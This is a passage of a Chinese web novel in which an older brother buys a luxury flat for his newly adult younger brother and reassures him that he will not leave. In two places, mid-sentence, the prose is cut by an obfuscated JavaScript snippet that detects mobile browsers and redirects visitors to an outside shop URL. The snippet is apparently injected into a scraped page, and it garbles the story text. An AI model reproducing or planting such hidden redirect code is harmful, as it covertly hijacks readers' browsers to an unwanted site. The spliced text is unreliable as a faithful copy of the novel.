不过这倒也在林嘉琛意料之内,毕竟他哥昨天的原话是“找个房子搬出去,一人一个卫生间”。 陆既明又催促道:“快去洗漱,吃完早饭一块儿去看房。” 林嘉琛“哦”了声。 两人吃完饭下楼时,车已在酒店门口等候。 车旁又站着一位三十出头的女子,妆容得体,穿一条黑色的圆领无袖直筒连衣裙,看着十分优雅干练,见到两人,走上前来道:“陆先生您好,我是Jessica,刚刚通过电话的,很荣幸能为两位服务。”说着,看向林嘉琛,“这就是您弟弟吧,真可爱。” 陆既明道:“你好。”说着,看向一旁林嘉琛道,“叫姐姐。” 一副教小孩儿叫人的口吻,听得林嘉琛眉头直皱,但出于礼貌他还是乖乖叫了声:“姐姐。” Jessica笑道:“真可爱,叫我Jessica就好。” 林嘉琛:“……” 夸一个成年男性可爱,也不知该不该高兴呢。 三人一块儿上了车,Jessica坐副驾驶。专做高端房地产的中介言谈举止都十分得体,先用pad给两人看了几套房源的图片,说道:“全平州最好的大平层小区都在这儿了,两位可以先看一看。” 陆既明接过pad,和林嘉琛一起翻看上面的图片。 Jessica等两人看了一会儿,又道:“我个人比较推荐月亮湾的那一套,面积三百五十平,除去保姆间一共是四房,其中主卧、次卧都做了套房设计,刚好您和弟弟一人一间。整体装修风格呢,也很简约、年轻化,我猜您和您弟弟应该都会喜欢的。” 陆既明看向一旁道:“你喜欢哪一个?” 林嘉琛略做思考状,道:“确实月亮湾那套……” Jessica笑道:“这小区年轻人比较多,因为附近有一家外资大厂,还有一些老外高管也住在这儿,社区氛围偏年轻、开放,那要不咱们先去看看这一套?” 陆既明应道:“好。” 小区离市区不远,开车二十钟便到了。 林嘉琛走进去,只见三百五十平的大平层,光一个入户玄关就比他家客厅还要大,客厅更是比他家两室一厅还要大。 主卧、次卧都是带独卫、衣帽间的套房,的确很适合两人居住,可以实现陆既明所说的“一人一个卫生间,眼不见为净”的目的,装修风格也很简约大气。 陆既明看了一圈也很满意,准备把主卧给林嘉琛。 一来,他住哪儿都一样,而主卧窗户更大、阳光更充足,林嘉琛还在长身体,需要多晒晒太阳、补补钙,备考期间也需要保持愉快正能量的心情。 二来,今日带林嘉琛看房,便又不可避免地想起林嘉琛小时候一直没有自己房间的事。 他们在安城的房子两室一厅,他自己住一间,林嘉琛便和姥姥、妈妈挤一间。 而好像是在他高三那年,林嘉琛也十岁了,有一天忽然在饭桌上提出想要一间自己的房间。 妈妈便哄他说:“你还小,晚上又不敢自己一个人睡觉,要自己的房间干什么呢?和姥姥、妈妈一起住,我们也方便照顾你呀。” 林嘉琛小时候的确胆小,别说自己一个人睡觉了,半夜都不敢自己上厕所。 有时陆既明挑灯夜战,便能随机刷新到一个小孩儿半夜跑来他房间,问他能不能陪自己上厕所?说姥姥、妈妈都睡了。他便要领着林嘉琛去卫生间,把门关好,然后在客厅陪着他。 那天林嘉琛却说:“我也可以自己睡觉啊。同学们都有自己的房间,知道我还在和姥姥、妈妈一起睡,都在笑话我!” 妈妈便说:“你就再等一年好不好?哥哥明年就上大学了,你再搬到哥哥房间。哥哥放了寒暑假回来,反正你们都是男孩子,两个人挤一下不就好了。” 可林嘉琛还是不愿意,说道:“但我现在就想要自己的房间!反正都是租房子,为什么就不能搬到大一点的房子?” 大家当然清楚林嘉琛已经十岁了,想要一间自己的房间再合理不过。只是当时家里还要攒他上大学的费用,经济条件根本不允许。 大家便纷纷提出解决方案,包括但不限于——妈妈和姥姥睡客厅、林嘉琛和哥哥一起睡、哥哥睡客厅,但林嘉琛都不满意。 陆既明也知道林嘉琛想说的不止房间这一件事,他是想说,他们家为什么要过得这么紧巴巴?他平时很体谅,可情绪积压久了就会像这样爆发一次,耷拉着脸,坐在椅子上晃着腿,委屈巴巴地不肯再吃饭。 最后是姥姥、妈妈都哄了他很久,告诉他家里的情况,又带他去买QQ星,这才勉强哄好。 他这回找到林嘉琛,便有种巨大的补偿心理,是给从小被迫懂事的林嘉琛,也是给当年无能为力的自己。 几人又回到主卧看了一眼,陆既明走到东面墙前的一片空地,说道:“这儿刚好给你加一张超大号的学习桌。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521160|203315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>林嘉琛“嗯?”了声,道:“哥,你要把主卧给我?” 陆既明道:“这房子就是为了给你备考才买的,主卧当然要给你了。我就一个陪读的,有个套房不错了。” 林嘉琛疑惑地皱皱眉道:“可你是一家之主啊,一家之主怎么能不住主卧呢?” 陆既明道:“你还是咱家小祖宗呢,还是小祖宗住主卧吧。”顿了顿,又道,“而且这主卧光一个衣帽间就三十平,给了我,我连十分之一都用不到。这衣帽间给你,衣服以后再慢慢填满。” 林嘉琛很无奈地“哦”了声。 陆既明又道:“姥姥年纪也大了,要不要把姥姥也接过来一起住?” 林嘉琛想了想,说道:“姥姥估计不肯的。” “为什么呢?” 林嘉琛便解释说,之前妈妈在平州买房,也打算把姥姥接过来一起住,如果当时姥姥愿意,妈妈就买三室一厅了。 可姥姥当时就不肯,毕竟她牌友、舞伴都在鹿城,在鹿城有自己的社交生活。后来来平州看他们,也总是待不到三天就要走,说平州没朋友,很无聊。 林嘉琛道:“姥姥也为了我、为了我妈奉献了大半辈子了,现在好不容易有了自己的生活,她觉得很自在。反正姥姥身子骨还健朗,每天健步如飞的,能自己扛一桶油上楼。估计要再过个十几二十年,自己生活费力了,才会考虑到小辈家里去养老。” 陆既明听完,只觉得林嘉琛很孝顺、很细腻,还懂得顾及老人家的精神需求。 但他也很会抓重点,问道:“姥姥自己扛一桶油上楼?你这孙子是干嘛使的,怎么能让姥姥自己扛一桶油上楼呢?” 林嘉琛一听,无语了片刻,说道:“我都跟姥姥说了,让她等我来了再去买米啊、面啊、油啊的,可她性子急,家里一缺什么,她自己当天就去买了。” 陆既明便道:“那你扛几桶油、几袋米,直接给姥姥送上去,她不是就不用等家里缺了,你也来了,她再带你去买了吗?” 林嘉琛便道:“哥,你说得好有道理哦!可我一周只有四百块,哪有钱买那么多……只能让姥姥买,我帮她抗上去……而且我擅作主张地买了,姥姥肯定会唠叨的。之前我妈在网上给姥姥买了一桶油,姥姥也嫌我妈买贵了,说超市里打折,比我妈买的便宜五六块。” 陆既明听完,无奈地笑了起来道:“老人家节省惯了。” 这套月亮湾的房子两个人都很满意,各方面都在期望值以上,可以说除了贵就没有任何缺点。 不过平州是个二线城市,这几年房价也跌得厉害,这价格跟湾区一比简直就是白菜价,能用“这点钱”解决的问题,于陆既明而言便不是问题。 Jessica道:“这楼去年就已经竣工了,各方面证件都很齐全,陆先生想买下来,是能够‘交房即交证’的。”顿了顿,又觉得有些仓促,于是又笑道,“但毕竟只看了一套,要不咱们再多看几套,对比一下。” 两人今天除了看房,也没别的什么安排,林嘉琛便道:“好啊,再多看看。” 只不过接下来几套便都是对照组了,各有各的缺点,看来看去还是月亮湾那一套最称心如意。 陆既明便留了定金,表示这两天给最终答复。 21. 第 21 章 两人同Jessica道别时已是下午三点半。 他们这些天除了在姥姥家的那两天,平时都是上午一顿brunch,下午四五点钟吃晚饭,一天只吃两顿饭。 之前倒还好,只是今天早起了一两个小时,眼下便有些饥肠辘辘。 两人刷了刷APP,找了一家日料店。 林嘉琛大概是年纪小,还在长身体的缘故,饭量几乎是陆既明的两倍,并且还干吃不胖。 陆既明一开始还觉得姥姥每月两千二的养老金,每周给林嘉琛四百,实在是太宠孩子了。后来发现他顿顿都是这饭量,便又有点担心他之前在学校能不能吃得饱? 只见林嘉琛指着菜单上的三文鱼刺身,问道:“哥,这个我能随便吃吗?” 陆既明道:“当然可以随便吃。” 林嘉琛纠结道:“但这个有点贵哎。” 陆既明便道:“便宜的也不敢让你吃,寄生虫感染可不是开玩笑的。” 林嘉琛得了允准,便先点了四盘试试水,又点了一盘寿司和一碗香烤牛舌饭。 过了片刻,四盘厚切三文鱼刺身端上来,色泽鲜亮、纹理均匀。 林嘉琛夹了一片送入口中,口感绵密,入口即化,芥末直冲天灵盖的感觉更是酸爽,他捏着鼻子道:“太好吃了!”又道,“哥,你也吃。” 陆既明看他吃得这么香,哪里忍心跟他抢,只吃寿司。见林嘉琛一口气炫完三盘,又道:“不够再点。” 林嘉琛深思熟虑,而后很慎重地加了四盘。 这一盘统共也没几片,林嘉琛最后不是吃饱了,而是吃得有些腻,吃完有一种又撑又饿的感觉,便又吃起了寿司和牛舌饭。 陆既明看盘子里还剩几片,便问道:“还吃吗?” 林嘉琛摇摇头。 陆既明便把那几片吃了。 晚上回到酒店,照例是陆既明先洗。林嘉琛看陆既明洗完出来,便又拿了和哥哥一样的睡衣进去洗。 一刻钟后,他用毛巾擦着头发走出来,见陆既明正坐在双人沙发上看月亮湾那套房子的图片,还叫了声:“嘉琛。” 林嘉琛“嗯?”了声,走过去坐下,端起茶几上酒店送来的小蛋糕,一边吃一边和哥哥一起看。 陆既明道:“那就定月亮湾那一套了?” 林嘉琛道:“好啊。” 陆既明又道:“你身份证、户口本都带在身上吗?” 林嘉琛心想,还有人会把身份证、户口本带在身上吗?回道:“都在家。” 而一提到“家”便又猛然想起了什么,跟被摄了魂一样怔楞了好半天,连蛋糕也不吃了。 陆既明便道:“怎么了?” 相处了一星期,林嘉琛也不装了,不好意思地冲陆既明笑笑,说道:“忽然想起来……家里还有碗没洗……” 上回虽回了趟家拿东西,可他哥在楼下等,他哪有工夫洗碗,只把屋子简单收拾了一下,拿了点衣服就下来了。 听了这话,陆既明只感到一股无名火直冲天灵盖,问道:“放了多久了?” 林嘉琛鹌鹑一样坐在沙发上,尴尬而不失害怕地冲陆既明笑笑,说道:“八天。” 下一秒,陆既明便捏着他后脖颈,把他按到了沙发扶手上! 林嘉琛一整个惊慌失措,连声道:“哥,哥,哥,你干嘛!” 他也不知道自己那八盘三文鱼、十几个寿司和一大碗牛舌饭都吃到哪里去了!大概是骨架天生偏小,身上也没几两肉的缘故,竟根本不是陆既明的对手,被压制得死死的,一点反抗的力气都使不上,只能踢着腿崩溃道:“不是,哥,你别……!” 你要打就打,这到底是什么羞耻姿势啊!!!! 啊啊啊啊啊啊啊!!! 陆既明按着他后脖颈,朝他屁股上扇了一巴掌。 夏天的睡衣很薄,那“啪—”的一巴掌扇下来的瞬间,林嘉琛登时红了脸,感到全身上下都由内而外地烧了起来! 而且还有点疼,和那天隔着牛仔裤根本不是一回事。 陆既明道:“蟑螂都要在你家五代同堂了吧?”说着,松了手。 林嘉琛赶紧直起身,头发、表情都乱了,心情也极度复杂……被捏过的后脖颈和被打过的地方都在发烫,又有种很诡异的酥麻感……坐了片刻,控诉道:“陆既明,你打我!” 陆既明十分坦荡,且毫无悔意,说道:“嗯,我打你了,怎么了?你干的这些事,到了谁家能不挨顿打?” 林嘉琛不敢再忤逆,手背贴在身后轻抚了抚,说道:“……我们这儿才没有蟑螂呢!我长这么大,除了在安城那几年,根本就没见过什么蟑螂。” 陆既明道:“最好没有。明天回去一趟,好好把把屋子收拾一下,顺便去拿你的证件。” 林嘉琛脸上红晕未退,一团乱麻的心情也还没捋明白,问道:“拿证件做什么啊?” 陆既明很轻松的口吻道:“那套房子写你的名字吧。” “……?” 陆既明又道:“上个月是你十八岁生日,我也没能赶上,就当是送你的成年礼。”说着,看向了林嘉琛。 刚刚陆既明提到身份证、户口本,林嘉琛便猜到会有这种可能。 因为他妈妈当年在平州买房,写的就是他的名字,他知道办房产证是需要这些证件的。 除此之外,他还想过哥哥是不是已经给他找好学校,要给他办入学,扔学校里去了? 但听哥哥这样说,心里还是五味杂陈。 他低着头,一言不发。 陆既明一看林嘉琛似乎不是很高兴的模样,便问道:“怎么了?我要送你房子,你怎么这么不高兴啊?”说着,再一看,见林嘉琛似乎比他以为的还要不高兴,又问道,“怎么了?” 林嘉琛很难过,只说道:“我也不知道。” 陆既明搂搂林嘉琛肩膀,看着他面色道:“该不会是我刚刚打你,你不高兴了吧?” 但刚刚也只是玩闹,林嘉琛应该知道他要是真生气了,可不是刚刚那样。 林嘉琛心情非常复杂,只说道:“不知道该怎么说……”说着,竟又掉下一颗小珍珠。 陆既明用手指把那滴泪揩走,看了林嘉琛片刻,又问道:“到底怎么了呢?” 他一直以为自己和林嘉琛是同辈人,哪怕差了八岁,也不至于有太多代沟。 只是这些天相处下来,他却发现林嘉琛的脑回路实在很难搞懂,尤其是和情绪相关的脑回路。 林嘉琛似乎总是突如其来地高兴,又突如其来地不高兴,时不时还会因为一些小事纠结许久。 陆既明一时无从下手,只能尝试去理解,问道:“怎么了?是觉得我不尊重你了?觉得我打一巴掌给个甜枣?觉得我用资本主义的方式腐蚀你了?” 林嘉琛只觉得荒谬,于是又笑了起来,说道:“才不是,跟这个没关系!”还安慰了陆既明一句道,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521161|203315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥,你别多想。” 陆既明道:“那为什么会不高兴呢?” 林嘉琛也在想,他为什么会不高兴,甚至还有一种很悲伤的感觉? 哥哥要给他买房,他再怎么样也不至于要悲伤吧?这情绪究竟是从哪儿来的? 他想了许久,陆既明也在一旁耐心等待,过了片刻又“嗯?”了声,像在询问。 林嘉琛清了清嗓,说道:“因为你一开始说要在平州买房,我很高兴,有一种终于定下来了的感觉。至少备考这一年,你会在平州陪我。” “可你说房子要写我的名字,我忽然就觉得……好像这房子跟你没有关系了,你把我安排好,随时都有可能远走高飞……” 陆既明道:“你就是因为这个不高兴的?” 林嘉琛“嗯”了声。 陆既明叹了一口气,捏捏林嘉琛肩膀,很无奈。 他知道大概是因为妈妈去世,才会让林嘉琛这么缺乏安全感。 他明明不止一次地说过会他会留下来陪读,可林嘉琛还在担心他会扔下自己一个人走。 不知为何,这种纯粹而又强烈地被一个人,不,是被林嘉琛需要着的感觉,又让陆既明产生了很微妙的情感。于是在无奈之余,他心底其实又是有一丝高兴和满足的,抚了抚林嘉琛鬓角,问道:“你就这么怕我跑啊?” 林嘉琛眼眸微垂,长长的睫毛盖下来,问道:“你在美国那么久,应该已经有绿卡了吧?” 陆既明道:“确实有了。” 可他是一个连护照都没有的人。 他也在想,为什么每当有人突如其来地对他好,这种好是超出平时水平的,都会让他有种很悲伤的预感? 大概是有一回,他放了学去医院看妈妈。 之前他去医院,病房里的氛围总是很压抑,可那天姥姥和妈妈却坐在病床上,用一种很慈爱、很祥和的目光看着他走进来。 妈妈还给他点了一份很好的饭,摸着他的头看着他吃。 他很高兴,以为是有什么好事发生,可问了妈妈和姥姥,她们却都说没什么特别的事。 而大概是在那三天之后,妈妈病情忽然恶化,最终离世了。 他事后回想起那个下午,便在想,妈妈当时是不是已经有了预感?所以才会点一份平时舍不得点的饭,等着他放学回来。 眼下哥哥要给他买房,也让他觉得哥哥是不是想离开了,所以才会用这些来补偿他。 这些事他没有对陆既明说,说起来又要没完没了。 陆既明也不是一个很会安慰人的人,他只会解决问题,知道问题解决了,情绪便会迎刃而解。 若是问题不解决,再多安慰的话也只是镇痛剂,过几小时就失效了。 他长叹一口气,说道:“我答应你这一年哪儿都不去,去也带着你一起,日后要做什么决定,也把你的感受放在首位。我之前也没骗过你,你怎么就这么不信任我呢?”说着,揉揉林嘉琛头顶,“我只有你这一个亲人,也不需要为了生计去工作,还能有什么比你更重要?” 听了这话,林嘉琛心里的别扭忽然便被抚平了。 陆既明又道:“你觉得我要怎么做,才能给你安全感?我把我护照、绿卡都交给你保管?” 林嘉琛有些被吓到了,说道:“哥,你别这样!” 陆既明道:“那我应该怎么做?” 林嘉琛想了想,忽然说:“写我们两个人的名字。”